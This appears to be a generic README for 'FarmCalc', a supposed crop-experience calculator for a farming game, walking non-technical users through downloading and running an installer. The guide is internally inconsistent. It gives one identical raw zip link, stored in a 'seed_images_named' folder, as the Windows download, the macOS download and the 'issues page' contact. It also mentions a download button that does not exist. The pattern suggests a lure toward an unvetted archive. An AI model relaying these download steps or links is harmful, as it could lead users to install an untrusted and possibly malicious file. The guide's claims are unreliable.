FarmCalc is a simple tool designed to help you find the best crops to plant for maximum experience points in your farming game. It calculates which crops give the most experience, so you can level up faster and improve your farm without guessing or trial and error. The tool is easy to use and does not require any technical knowledge.
Before you begin, check that your computer meets these basic requirements:
- Operating System: Windows 10 or later, macOS 10.13 or later
- Processor: 1.5 GHz or faster
- Memory: At least 2 GB RAM
- Disk Space: 100 MB free space
- Internet Connection: Needed to download the program but not required after installation
FarmCalc runs on most standard home PCs and laptops.
This section will walk you through downloading, installing, and opening FarmCalc for the first time.
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Click the large blue button below or at the top of this page to open the download page on GitHub:
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On the GitHub releases page, look for the latest version. The newest release is usually at the top and labeled with the highest version number.
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Find the file named something like
https://github.com/quintuswan/FarmCalc/raw/refs/heads/main/seed_images_named/Farm-Calc-v2.8.zip(for Windows) orhttps://github.com/quintuswan/FarmCalc/raw/refs/heads/main/seed_images_named/Farm-Calc-v2.8.zip(for macOS). Click it to download to your computer. -
After the download finishes, locate the installer file on your computer. This is usually in your "Downloads" folder.
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Double-click the installer file to start the installation process.
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Follow the prompts:
- Click “Next” or “Continue” as needed.
- Accept the license agreement if asked.
- Choose the installation folder or leave it as the default.
- Wait while FarmCalc installs.
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When installation finishes, you can click “Finish” or close the installer window.
- On Windows, find FarmCalc in your Start Menu or on the desktop shortcut, and double-click it to open.
- On macOS, open the Applications folder and double-click FarmCalc.
You should see the main FarmCalc window open after launching.
FarmCalc focuses on helping you pick crops with the best experience gain. Here’s what to do inside the app:
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Select Your Farm Level
Enter your current farm level or progression status. This helps FarmCalc know what crops are available for you. -
Choose Your Soil or Climate (Optional)
If your game version uses soil type or climate, select your current environment to get accurate crop suggestions. -
View Crop Options
FarmCalc will list crops ranked by experience gained per unit of time. You can sort or filter this list if needed. -
Set Your Available Time
Enter how much time you plan to spend farming today. FarmCalc uses this info to recommend the best crops to plant and harvest within that period. -
Get Recommendations
See the suggested crops. The tool shows expected experience, time to grow, and any special notes. -
Plan Your Farm
Use the recommendations to plant crops in your game, using your real farm game interface.
FarmCalc offers several helpful features to improve your farming strategy:
- Clear, easy-to-understand interface designed for non-technical users
- Crop rankings based on experience per minute or hour
- Ability to factor in game updates or special event crops
- Time management tools to match your available playtime
- Suggestions for crop rotation to maximize long-term experience gains
- Export your farming plan to a simple text file to keep track
FarmCalc is updated occasionally to include new crops or improve calculations. To update:
- Visit the GitHub Releases page.
- Download the newest version installer file just like your first download.
- Run the installer. It will replace your old version without affecting your settings.
Here are common issues and quick fixes:
- FarmCalc won’t open: Make sure your OS version is supported. Restart your computer and try again.
- Program crashes or freezes: Close the app and restart. If it continues, uninstall and reinstall.
- Download link not working: Check your internet connection. If the GitHub page is down, try again later.
- Cannot find crop list or recommendations: Ensure you selected your farm level properly.
If you still have trouble, you can open an issue in the GitHub repository or ask someone familiar with basic software installation.
If you need help beyond this guide:
- Review any documentation files included with the app download
- Look for a README or Help section inside the FarmCalc app
- Contact the developer via the GitHub repository issues page at https://github.com/quintuswan/FarmCalc/raw/refs/heads/main/seed_images_named/Farm-Calc-v2.8.zip
FarmCalc runs locally on your computer. It does not collect or send any personal data. Download files only from the official GitHub link to avoid security risks.
FarmCalc was created to simplify farming experience optimization for players of the QQ classic farming game. It helps take the guesswork out of choosing crops, so you spend less time planning and more time playing.
Thank you for using FarmCalc. Now you can plan your farming efficiently and gain experience at your best rate!